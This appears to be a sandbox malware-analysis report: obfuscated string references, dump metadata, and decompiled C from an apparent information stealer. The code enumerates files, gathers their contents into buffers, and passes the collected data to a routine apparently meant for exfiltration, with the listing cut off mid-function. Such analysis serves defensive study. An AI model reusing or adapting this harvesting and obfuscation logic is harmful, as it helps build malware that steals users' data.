7b3128da9c9380da, xrefs: 00401308
c80a9bee8b95216d, xrefs: 00401A07
7c104ea6ace2b4e4, xrefs: 004012ED
7421a3695e91c224, xrefs: 00401281
3e7370ea5e5ef85d, xrefs: 004010B6
b27bacbe24df7396, xrefs: 00401A5B
5a69b60e5fcf7e54, xrefs: 00401498
cbad61bfdd173b01, xrefs: 00401780
1a1ec3c71daf2f83, xrefs: 00401982
1080694385281ad5, xrefs: 00401931
e3b53c0dd786c707, xrefs: 00401080
eAEbtGo, xrefs: 0040160E
d330b7317885168b, xrefs: 00401686
989d9feed46831cc, xrefs: 0040113D
3e81a0ea63606955, xrefs: 00401215
"_U(, xrefs: 00401204
4a307764e941e11d, xrefs: 004016B3
dB, xrefs: 004019C1
2a2ee099a9507579, xrefs: 00401173
d6d1feffcaaffcf1, xrefs: 004011FA
82927cf03a4ae5e5, xrefs: 00401914
861a3f7275aa9a79, xrefs: 004014CE
897b12c7da425da7, xrefs: 0040118E
6e5d0e8372d909bc, xrefs: 004013AA
306ff226bbc4bc52, xrefs: 00401B2F
f0e7822b993f3d51, xrefs: 00401033
e3c2f32f8621435b, xrefs: 0040184A
d14c8f65a9981206, xrefs: 00401A8C
*SV]"[Y_W, xrefs: 00401399
c8608f3f8f17cc56, xrefs: 0040182B
e80ff3b3fc295a21, xrefs: 00401107
fb071c750450965d, xrefs: 0040138F
$]D5V, xrefs: 00401A11
cDG6LBqn, xrefs: 004015C2
9bb1aff579b51c84, xrefs: 00401AF6
#T@'{, xrefs: 00401A96
eb88de296550d642, xrefs: 00401122
DB, xrefs: 004016B8
*XE, xrefs: 004017A4
048211605c0d7bde, xrefs: 00401230
ad32fd7bc246b262, xrefs: 00401550
k]X, xrefs: 00401147
65707a581b778a90, xrefs: 00401604
728e48e23bc2a06b, xrefs: 00401374
228f8456171b2492, xrefs: 0040174A
5368b9064977bcb6, xrefs: 00401B65
c61e0546050b7916, xrefs: 0040179A
f26c599f744bfe5c, xrefs: 0040159D
904a019e5b46d960, xrefs: 004017B9
d8763edc297993c5, xrefs: 004017D3
6635566f40f70ab1, xrefs: 0040109B
71e44b9a08940b6d, xrefs: 00401869
54d3956afb9bd7a9, xrefs: 004018A7
005e808920686399, xrefs: 004015B8
1c86d1282e807f6a, xrefs: 0040156B
57d2bd1be10ab87c, xrefs: 00401AA6
bcd9dca97bb9f9d0, xrefs: 004014EE
777bcc3e0ea7eb3c, xrefs: 0040161F
5a9e57a7a1abbe0f, xrefs: 0040147D
d6c9abc40ce23f37, xrefs: 0040151F
59b6cee9d5a8cf29, xrefs: 004019B7
c16f5b60373fad42, xrefs: 0040153A
315d0b77784963a0, xrefs: 004017F2
821a50afd2429518, xrefs: 004011C4
d691ea59becf3335, xrefs: 00401AC0
720cdb29080a2e5d, xrefs: 004010D1
c05a35071306461e, xrefs: 004016E3
737422efdc50e030, xrefs: 004016C9
1e8d85797ccbd640, xrefs: 0040169B
_GMKYRZc, xrefs: 00401162
a13b7dcc8d946da3, xrefs: 00401650
696d41a90c3a75d3, xrefs: 0040180C
0e354f2ca7fcf772, xrefs: 0040104F
a59fe9ffca55cc7e, xrefs: 00401431
08bf9ab7e225d359, xrefs: 0040106A
60eeb3dd58d90b79, xrefs: 004013C5
59a086c67b825c7e, xrefs: 0040163A
9bb7934d49eae532, xrefs: 0040194C
a8ccef3015fd251b, xrefs: 0040124B
2fbeef604cf19daa, xrefs: 004019EC
dce31d140724922e, xrefs: 00401504
15ec498da65f2064, xrefs: 004011A9
8ee28c03e29c9415, xrefs: 004018F9
a3003916bc143627, xrefs: 0040172F
d67f195430509d94, xrefs: 0040133E
ee975f83bb6427df, xrefs: 00401416
a52ff5975246cc73, xrefs: 004018DE
7dbae391788715e9, xrefs: 00401266
2e851f4c476b53e2, xrefs: 004012D2
517fe1f1b1e2e46b, xrefs: 004012B7
437cfe47e8e7048b, xrefs: 0040129C
24689dedcfd7a5c9, xrefs: 004018C8
08d60362c3411607, xrefs: 00401763
c0b98de64808eeb3, xrefs: 00401ADB
TB, xrefs: 00401785
e54b9cf921304ce7, xrefs: 00401009
6c5cc24bd4375902, xrefs: 00401323
8caabc9bccdd3cab, xrefs: 004015D3
0ce9c736e34d498e, xrefs: 00401A3D
3e94e58f8310880e, xrefs: 004010EC
4902b32685544d16, xrefs: 0040166B
a4c5094673227c85, xrefs: 00401888
5FD E@n, xrefs: 004015A7
8a13c7ce91d40f99, xrefs: 00401585
f4c7823e38b08e21, xrefs: 004013E0
79adb0569b2f6d0d, xrefs: 00401717

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$AddressPathProcSlow$LibraryLoad
String ID: B$"_U($#T@'{$$]D5V$*SV]"[Y_W$*XE$0B$005e808920686399$048211605c0d7bde$08bf9ab7e225d359$08d60362c3411607$0ce9c736e34d498e$0e354f2ca7fcf772$1080694385281ad5$15ec498da65f2064$1a1ec3c71daf2f83$1c86d1282e807f6a$1ca01b18a1064ad9$1e400e67343579f5$1e8d85797ccbd640$228f8456171b2492$2370443441f56e33$24689dedcfd7a5c9$2a2ee099a9507579$2ca5f6ce1e9d858b$2d42fb67f3762e27$2e851f4c476b53e2$2fbeef604cf19daa$306ff226bbc4bc52$315d0b77784963a0$349957441f0304ac$3987992bb60d8375$3c4be0b4ae6d8491$3e7370ea5e5ef85d$3e81a0ea63606955$3e94e58f8310880e$437cfe47e8e7048b$4902b32685544d16$4a307764e941e11d$517fe1f1b1e2e46b$5368b9064977bcb6$54d3956afb9bd7a9$57d2bd1be10ab87c$59a086c67b825c7e$59b6cee9d5a8cf29$5FD E@n$5a69b60e5fcf7e54$5a9e57a7a1abbe0f$60eeb3dd58d90b79$615b36d0eb1f42c1$65707a581b778a90$6635566f40f70ab1$685ad9d71facbafb$696d41a90c3a75d3$6c5cc24bd4375902$6e5d0e8372d909bc$71e44b9a08940b6d$720cdb29080a2e5d$728e48e23bc2a06b$736ffe089b28daa9$737422efdc50e030$7421a3695e91c224$777bcc3e0ea7eb3c$777d33ee45563717$79adb0569b2f6d0d$7b3128da9c9380da$7c104ea6ace2b4e4$7dbae391788715e9$7fc47133483ed37b$821a50afd2429518$82927cf03a4ae5e5$861a3f7275aa9a79$897b12c7da425da7$8a13c7ce91d40f99$8caabc9bccdd3cab$8ee28c03e29c9415$904a019e5b46d960$989d9feed46831cc$9bb1aff579b51c84$9bb7934d49eae532$<B$DB$TB$_GMKYRZc$a13b7dcc8d946da3$a3003916bc143627$a4c5094673227c85$a52ff5975246cc73$a59fe9ffca55cc7e$a8ccef3015fd251b$ac614900d152de0e$ad32fd7bc246b262$b27bacbe24df7396$bcd9dca97bb9f9d0$c05a35071306461e$c0b98de64808eeb3$c16f5b60373fad42$c2dc716a55864127$c61e0546050b7916$c80a9bee8b95216d$c8608f3f8f17cc56$c90f42cc3b43f01e$cDG6LBqn$cbad61bfdd173b01$dB$d14c8f65a9981206$d330b7317885168b$d67f195430509d94$d691ea59becf3335$d6c9abc40ce23f37$d6d1feffcaaffcf1$d8763edc297993c5$dce31d140724922e$e3b53c0dd786c707$e3c2f32f8621435b$e54b9cf921304ce7$e80ff3b3fc295a21$eAEbtGo$eb88de296550d642$ee975f83bb6427df$f0e7822b993f3d51$f26c599f744bfe5c$f4c7823e38b08e21$fb071c750450965d$k]X$lB
API String ID: 44101065-633244857
Opcode ID: 0e415d5a2e31642af1858aac637e0e739052e4c001f73279344505eae4fa13ac
Instruction ID: efed0edd189915bf3fe2851add0272657521c20d49c82d14d624569417d76088
Opcode Fuzzy Hash: 0e415d5a2e31642af1858aac637e0e739052e4c001f73279344505eae4fa13ac
Instruction Fuzzy Hash: E2523FA0750528AEF3547B617C06BBB25DDDB81314FE0803FF2058AA86DFAC5D924B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0041C041 Relevance: 165.4, APIs: 110, Instructions: 350
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RealDriveType.SHELL32(1E02F6D0,00000000), ref: 0041C05D
RealDriveType.SHELL32(908E1C70,00000000), ref: 0041C065
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C06F
RealDriveType.SHELL32(82E8E4BD,00000000), ref: 0041C077
RealDriveType.SHELL32(B1261FB9,00000000), ref: 0041C07F
RealDriveType.SHELL32(9669D78D,00000000), ref: 0041C087
RealDriveType.SHELL32(C18C6EFD,00000000), ref: 0041C08F
RealDriveType.SHELL32(E331B2D8,00000000), ref: 0041C097
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C09B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C09F
RealDriveType.SHELL32(F3F35B39,00000000), ref: 0041C0A7
RealDriveType.SHELL32(10452232,00000000), ref: 0041C0AF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C0B3
RealDriveType.SHELL32(0564A25C,00000000), ref: 0041C0BB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C0BF
RealDriveType.SHELL32(4B7C30C8,00000000), ref: 0041C0C7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C0CB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C0CF
RealDriveType.SHELL32(C55F9B72,00000000), ref: 0041C0D7
RealDriveType.SHELL32(86D3F9E5,00000000), ref: 0041C0DF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C0E3
RealDriveType.SHELL32(B233A263,00000000), ref: 0041C0EB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C0EF
RealDriveType.SHELL32(001D81F4,00000000), ref: 0041C0F7
RealDriveType.SHELL32(5C3665BE,00000000), ref: 0041C0FF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C103
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C107
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C10B
RealDriveType.SHELL32(CE9554D3,00000000), ref: 0041C113
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C117
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C11B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C11F
RealDriveType.SHELL32(399D3588,00000000), ref: 0041C127
RealDriveType.SHELL32(B6B1C7C9,00000000), ref: 0041C12F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C133
RealDriveType.SHELL32(49BE2F87,00000000), ref: 0041C13B
LocalAlloc.KERNEL32(00000040,00000101,?,?,0040B1A5), ref: 0041C145
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C151
RealDriveType.SHELL32(B2CF2008,00000000), ref: 0041C15A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C160
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C166
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C16C
RealDriveType.SHELL32(8EA61DE8,00000000), ref: 0041C175
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C17B
RealDriveType.SHELL32(FC94B69A,00000000), ref: 0041C184
RealDriveType.SHELL32(406F09AE,00000000), ref: 0041C18D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C193
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C199
RealDriveType.SHELL32(5D132B80,00000000), ref: 0041C1A2
RealDriveType.SHELL32(E4D2752D,00000000), ref: 0041C1AB
RealDriveType.SHELL32(15621B21,00000000), ref: 0041C1B4
RealDriveType.SHELL32(09034091,00000000), ref: 0041C1BD
RealDriveType.SHELL32(88DB3F67,00000000), ref: 0041C1C6
RealDriveType.SHELL32(CA1C7FDE,00000000), ref: 0041C1CF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C1D5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C1DB
RealDriveType.SHELL32(371A75AB,00000000), ref: 0041C1E4
RealDriveType.SHELL32(9F9CBE7A,00000000), ref: 0041C1ED
RealDriveType.SHELL32(1B9C88A9,00000000), ref: 0041C1F6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C1FC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C202
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C208
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C20E
RealDriveType.SHELL32(3E005FC8,00000000), ref: 0041C217
RealDriveType.SHELL32(D843E2B1,00000000), ref: 0041C220
RealDriveType.SHELL32(C8D2B781,00000000), ref: 0041C229
RealDriveType.SHELL32(D5169A84,00000000), ref: 0041C232
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C238
RealDriveType.SHELL32(C1479B67,00000000), ref: 0041C241
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C247
RealDriveType.SHELL32(057D3C50,00000000), ref: 0041C250
RealDriveType.SHELL32(853A066D,00000000), ref: 0041C259
RealDriveType.SHELL32(6C677FAA,00000000), ref: 0041C262
GetUserNameW.ADVAPI32(00000000,00000101), ref: 0041C269
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C273
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C279
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C27F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C285
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C28B
RealDriveType.SHELL32(638069D0,00000000), ref: 0041C294
RealDriveType.SHELL32(FF2B98F4,00000000), ref: 0041C29D
RealDriveType.SHELL32(4DFDC657,00000000), ref: 0041C2A6
RealDriveType.SHELL32(25CF3B58,00000000), ref: 0041C2AF
RealDriveType.SHELL32(0C1BC78B,00000000), ref: 0041C2B8
RealDriveType.SHELL32(356E5D7D,00000000), ref: 0041C2C1
RealDriveType.SHELL32(57DB27ED,00000000), ref: 0041C2CA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C2D0
RealDriveType.SHELL32(EABBD274,00000000), ref: 0041C2D9
RealDriveType.SHELL32(E62D8F9E,00000000), ref: 0041C2E2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C2E8
RealDriveType.SHELL32(965D7E16,00000000), ref: 0041C2F1
RealDriveType.SHELL32(CECA635C,00000000), ref: 0041C2FA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C300
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C306
RealDriveType.SHELL32(9042D55A,00000000), ref: 0041C30F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C315
RealDriveType.SHELL32(629472D4,00000000), ref: 0041C31E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C324
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C32A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C330
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C336
RealDriveType.SHELL32(5FE4161B,00000000), ref: 0041C33F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C345
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C34B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C351
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C357
RealDriveType.SHELL32(CA8F8F8B,00000000), ref: 0041C360
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C366
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C36C
RealDriveType.SHELL32(BB182895,00000000), ref: 0041C375

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$PathSlow$AllocLocalNameUser
String ID:
API String ID: 3852686740-0
Opcode ID: ff7f4dd8b164fd6d14a4beb24ae0c366fea2866bb4c16401a7ca25fab86e29d4
Instruction ID: 705960d6746756cf54a24445fad7a9153af5b09e29a50d1977112ea7461b4253
Opcode Fuzzy Hash: ff7f4dd8b164fd6d14a4beb24ae0c366fea2866bb4c16401a7ca25fab86e29d4
Instruction Fuzzy Hash: B381152138A7A979F57137F64D8AFAF5C58DFC6FA9F620000F308691C15AD4AD0189BE

Uniqueness

Uniqueness Score: -1.00%

Function 004021E9 Relevance: 116.3, APIs: 77, Instructions: 814
memorystringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E004021E9(WCHAR* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				signed int _v48;
				signed int _v52;
				void* _v56;
				void* _v60;
				signed int _v64;
				char _v68;
				intOrPtr _v72;
				void* _v76;
				signed int _v80;
				char _v84;
				void* _v88;
				int _v92;
				void* _v96;
				void* _v100;
				WCHAR* _v104;
				WCHAR* _v108;
				intOrPtr _v112;
				WCHAR* _v116;
				intOrPtr _v120;
				signed int _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				signed int _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				struct _WIN32_FIND_DATAW _v760;
				WCHAR* _t269;
				WCHAR* _t270;
				void* _t277;
				void* _t280;
				void* _t282;
				void* _t283;
				int _t291;
				void* _t298;
				signed int _t301;
				void* _t305;
				void* _t307;
				void* _t309;
				void* _t316;
				void* _t317;
				void* _t318;
				void* _t319;
				WCHAR* _t330;
				int _t331;
				int _t332;
				WCHAR* _t334;
				int _t335;
				int _t336;
				int _t337;
				int _t338;
				void* _t343;
				WCHAR* _t344;
				WCHAR* _t346;
				void* _t347;
				char _t348;
				int _t352;
				WCHAR* _t367;
				WCHAR* _t369;
				intOrPtr _t371;
				intOrPtr _t372;
				intOrPtr _t373;
				WCHAR* _t375;
				WCHAR* _t377;
				intOrPtr _t380;
				intOrPtr _t381;
				WCHAR* _t383;
				WCHAR* _t385;
				intOrPtr _t388;
				intOrPtr _t389;
				void* _t390;
				WCHAR* _t391;
				WCHAR* _t393;
				intOrPtr _t396;
				intOrPtr _t397;
				int _t404;
				WCHAR* _t405;
				int _t407;
				WCHAR* _t408;
				void* _t416;
				WCHAR* _t417;
				WCHAR* _t419;
				void* _t420;
				char _t421;
				int _t425;
				int _t430;
				WCHAR* _t434;
				WCHAR* _t436;
				char _t438;
				intOrPtr _t439;
				signed int _t440;
				WCHAR* _t441;
				WCHAR* _t443;
				intOrPtr _t446;
				signed int _t447;
				WCHAR* _t448;
				WCHAR* _t450;
				intOrPtr _t453;
				signed int _t454;
				WCHAR* _t455;
				WCHAR* _t457;
				intOrPtr _t460;
				signed int _t461;
				void* _t467;
				int _t468;
				void* _t546;
				WCHAR* _t549;
				WCHAR* _t551;
				WCHAR* _t553;
				WCHAR* _t555;
				WCHAR* _t557;
				WCHAR* _t559;
				WCHAR* _t561;
				WCHAR* _t563;
				WCHAR* _t565;
				WCHAR* _t567;
				WCHAR* _t569;
				WCHAR* _t571;
				void* _t578;
				WCHAR* _t582;
				WCHAR* _t584;
				WCHAR* _t587;
				WCHAR* _t589;
				WCHAR* _t592;
				WCHAR* _t594;
				WCHAR* _t597;
				WCHAR* _t599;
				void* _t601;
				WCHAR* _t602;
				void* _t604;
				void* _t607;
				WCHAR* _t615;
				void* _t618;
				WCHAR* _t626;
				void* _t627;
				signed int _t632;
				void* _t634;
				int _t645;
				void* _t647;
				void* _t655;
				void* _t659;
				void* _t663;

				_v112 = __edx;
				_v92 = 0;
				_t269 =  *0x42320c; // 0x513c980
				_t626 = __ecx;
				_v104 = _t269;
				_t270 =  *0x4231e8; // 0x513d228
				_v108 = __ecx;
				_v116 = _t270;
				_t601 = LocalAlloc(0x40, 0x208);
				_v44 = _t601;
				_v88 = LocalAlloc(0x40, 0x208);
				_v76 = LocalAlloc(0x40, 0x400);
				_v24 = LocalAlloc(0x40, 0x100);
				if(_a12 != 0) {
					_t601 = StrCpyW(_t601, _t626);
					_v44 = _t601;
					_t277 = FindFirstFileW(_t601,  &_v760);
					__eflags = _t277 - 0xffffffff;
					if(_t277 != 0xffffffff) {
						_v16 = LocalAlloc(0x40, 0x400);
						_v100 = LocalAlloc(0x40, 0x80);
						_t280 = LocalAlloc(0x40, 0x200000);
						_v52 = _t280;
						_v36 = _t280;
						_v56 = LocalAlloc(0x40, 0x200000);
						_t282 = LocalAlloc(0x40, 0x800000);
						_v48 = _t282;
						_v80 = _t282;
						_t283 = LocalAlloc(0x40, 0x400000);
						_v12 = _v12 & 0x00000000;
						_v28 = _v28 & 0x00000000;
						_v60 = _t283;
						_v40 = _t283;
						_v92 = 1;
						_v20 = LocalAlloc(0x40, 0x400);
						_v32 = LocalAlloc(0x40, 0x1000);
						_t470 = _t626;
						_t291 = E0040206D(_t626, _t279,  &_v88,  &_v76,  &_v24, _a12);
						_t467 = _v88;
						_t655 = _t655 + 0x10;
						__eflags = _t291;
						if(__eflags == 0) {
							L21:
							LocalFree(_v52);
							LocalFree(_v48);
							LocalFree(_v60);
							LocalFree(_v20);
							LocalFree(_v32);
							LocalFree(_v100);
							_t298 = _v16;
							__eflags = _t298;
							if(_t298 != 0) {
								LocalFree(_t298);
							}
							goto L23;
						}
						E00402C12( &_v36,  &_v16, __eflags, _t470, _t467, _v76, _a4);
						E004030C0( &_v80,  &_v16, __eflags,  &_v36, _t467, _v76, _a4);
						E00403B10( &_v40, _t467, _a4);
						_t510 =  &_v56;
						E00403614( &_v56,  &_v16, __eflags,  &_v40, _t467, _v76, _a4);
						_t663 = _t655 + 0x38;
						_t404 = lstrlenW( *0x423240);
						_t405 = _v80;
						_v48 = _t405;
						__eflags = lstrlenW(_t405) - _t404;
						if(__eflags >= 0) {
							_t455 = E0041AD76(_v48, _t601, __eflags);
							_t597 =  *0x42322c; // 0x513bad8
							_t457 = E0041AD76(E0041AD76(_t455, _t597, __eflags), _v16, __eflags);
							_t599 =  *0x42322c; // 0x513bad8
							_t510 = E0041AD76(E0041AD76(_t457, _t599, __eflags), _v24, __eflags);
							_v12 = 1;
							_t460 =  *0x423244; // 0x512ec98
							_v72 = _t460;
							_t461 =  *0x4231f4; // 0x513bc18
							_v68 = _t510;
							_v64 = _t461;
							asm("movsd");
							_v48 = _t510;
							asm("movsd");
							asm("movsd");
							_t601 = _v44;
						}
						_t407 = lstrlenW( *0x42319c);
						_t408 = _v36;
						_v52 = _t408;
						__eflags = lstrlenW(_t408) - _t407;
						if(__eflags < 0) {
							_t645 = _v12;
						} else {
							_t448 = E0041AD76(_v52, _t601, __eflags);
							_t592 =  *0x42322c; // 0x513bad8
							_t450 = E0041AD76(E0041AD76(_t448, _t592, __eflags), _v16, __eflags);
							_t594 =  *0x42322c; // 0x513bad8
							_t510 = E0041AD76(E0041AD76(_t450, _t594, __eflags), _v24, __eflags);
							_t453 =  *0x4231d4; // 0x513b168
							_v72 = _t453;
							_t454 =  *0x4231f4; // 0x513bc18
							_v68 = _t510;
							_v64 = _t454;
							_v52 = _t510;
							asm("movsd");
							asm("movsd");
							asm("movsd");
							_t645 = _v12 + 1;
							_v12 = _t645;
						}
						_t615 = _v40;
						_v60 = _t615;
						__eflags = lstrlenW(_t615);
						if(__eflags > 0) {
							_t441 = E0041AD76(_t615, _v44, __eflags);
							_t587 =  *0x42322c; // 0x513bad8
							_t443 = E0041AD76(E0041AD76(_t441, _t587, __eflags), _v16, __eflags);
							_t589 =  *0x42322c; // 0x513bad8
							_t510 = E0041AD76(E0041AD76(_t443, _t589, __eflags), _v24, __eflags);
							_t446 =  *0x423258; // 0x513adb0
							_v72 = _t446;
							_t447 =  *0x4231f4; // 0x513bc18
							_v68 = _t510;
							_v64 = _t447;
							_v60 = _t510;
							asm("movsd");
							asm("movsd");
							asm("movsd");
							_t645 = _v12 + 1;
							__eflags = _t645;
							_v12 = _t645;
						}
						__eflags = lstrlenW(_v56);
						if(__eflags > 0) {
							_t434 = E0041AD76(_v56, _v44, __eflags);
							_t582 =  *0x42322c; // 0x513bad8
							_t436 = E0041AD76(E0041AD76(_t434, _t582, __eflags), _v16, __eflags);
							_t584 =  *0x42322c; // 0x513bad8
							_t438 = E0041AD76(E0041AD76(_t436, _t584, __eflags), _v24, __eflags);
							_t510 = _t438;
							_t439 =  *0x423238; // 0x513ca98
							_v72 = _t439;
							_t440 =  *0x4231f4; // 0x513bc18
							_v68 = _t438;
							_v64 = _t440;
							asm("movsd");
							asm("movsd");
							asm("movsd");
							_t645 = _v12 + 1;
							__eflags = _t645;
							_v12 = _t645;
						}
						E004042C6(_a8, _v32,  &_v28, _t510, _t467);
						E00404593(_a8, _v32,  &_v28, _a8, _t467);
						_t655 = _t663 + 0x18;
						__eflags = _t645;
						if(_t645 != 0) {
							L16:
							_t416 = LocalAlloc(0x40, 0x208);
							_t417 = LocalAlloc(0x40, 0x208);
							_t578 = 0x10;
							_v96 = E00416B1A(_t416, _t578);
							_t419 = StrCpyW(_t417,  *0x423230);
							_t618 = _v96;
							_t420 = E0041AD76(_t419, _t618, __eflags);
							_v80 = _v80 & 0x00000000;
							_v36 = _t420;
							_t421 =  *0x423224; // 0x513bc38
							_v84 = _t421;
							_v40 = E00413A99( &_v36, __eflags);
							_t647 = LocalAlloc(0x40, 0x184);
							_t425 = WideCharToMultiByte(0xfde9, 0, _t618, 0xffffffff, 0, 0, 0, 0);
							__eflags = _t425;
							if(_t425 != 0) {
								_t430 = WideCharToMultiByte(0xfde9, 0, _t618, 0xffffffff, _t647, _t425, 0, 0);
								__eflags = _t430;
								if(_t430 != 0) {
									E004133D0(_v112, _t647, _v12, _v20, _v28, _v32, _v40,  &_v84);
									_t655 = _t655 + 0x18;
								}
							}
							LocalFree(_t647);
							LocalFree(_v40);
							LocalFree(_v36);
							LocalFree(_t618);
							goto L20;
						} else {
							__eflags = _v28 - _t645;
							if(_v28 <= _t645) {
								L20:
								_t601 = _v44;
								goto L21;
							}
							goto L16;
						}
					}
					return 0;
				} else {
					PathCombineW(_t601, _t626, _v104);
					L23:
					_v52 = _v52 | 0xffffffff;
					do {
						_v16 = LocalAlloc(0x40, 0x400);
						_t627 = LocalAlloc(0x40, 0x80);
						_t301 = _v52;
						_v96 = _t627;
						if(_t301 != 0xffffffff) {
							wsprintfW(_t627, _v116, _t301);
							_t655 = _t655 + 0xc;
						} else {
							_t627 = StrCpyW(_t627, _v104);
							_v96 = _t627;
						}
						PathCombineW(_t601, _v108, _t627);
						_t305 = FindFirstFileW(_t601,  &_v760); // executed
						_t668 = _t305 - 0xffffffff;
						if(_t305 != 0xffffffff) {
							_push(0x200000);
							_t468 = 0x40;
							_t316 = LocalAlloc(_t468, ??); // executed
							_v36 = _t316;
							_t317 = LocalAlloc(_t468, 0x200000); // executed
							_v32 = _t317;
							_t318 = LocalAlloc(_t468, 0x800000); // executed
							_v40 = _t318;
							_t319 = LocalAlloc(_t468, 0x400000); // executed
							_v92 = _v92 + 1;
							_v12 = _v12 & 0x00000000;
							_v48 = _v48 & 0x00000000;
							_v80 = _t319;
							_v28 = LocalAlloc(_t468, 0x400);
							_v60 = LocalAlloc(_t468, 0x1000);
							E0040206D(_v108, _t627,  &_v88,  &_v76,  &_v24, _a12); // executed
							_t467 = _v88;
							E00402C12( &_v36,  &_v16, _t668, _v108, _t467, _v76, _a4); // executed
							E004030C0( &_v40,  &_v16, _t668,  &_v36, _t467, _v76, _a4); // executed
							E00403B10( &_v80, _t467, _a4); // executed
							_t475 =  &_v32;
							E00403614( &_v32,  &_v16, _t668,  &_v80, _t467, _v76, _a4); // executed
							_t330 = _v40;
							_t659 = _t655 + 0x48;
							_v56 = _t330;
							_t331 = lstrlenW(_t330);
							_t332 = lstrlenW( *0x423240);
							_t669 = _t331 - _t332;
							if(_t331 < _t332) {
								_v20 = _v32;
							} else {
								_t567 =  *0x423250; // 0x513b918
								_t390 = E0041AD76(_v32, _t567, _t669); // executed
								_v20 = _t390;
								_t391 = E0041AD76(_v56, _t601, _t669);
								_t569 =  *0x42322c; // 0x513bad8
								_t393 = E0041AD76(E0041AD76(_t391, _t569, _t669), _v16, _t669);
								_t571 =  *0x42322c; // 0x513bad8
								_t475 = E0041AD76(E0041AD76(_t393, _t571, _t669), _v24, _t669);
								_v12 = 1;
								_t396 =  *0x423244; // 0x512ec98
								_v128 = _t396;
								_t397 =  *0x4231f4; // 0x513bc18
								_v124 = _t475;
								_v120 = _t397;
								asm("movsd");
								_v56 = _t475;
								asm("movsd");
								asm("movsd");
								_t601 = _v44;
							}
							_t334 = _v36;
							_v32 = _t334;
							_t335 = lstrlenW(_t334);
							_t336 = lstrlenW( *0x42319c);
							_t670 = _t335 - _t336;
							if(_t335 < _t336) {
								_t632 = _v12;
							} else {
								_t561 =  *0x423250; // 0x513b918
								_v20 = E0041AD76(_v20, _t561, _t670);
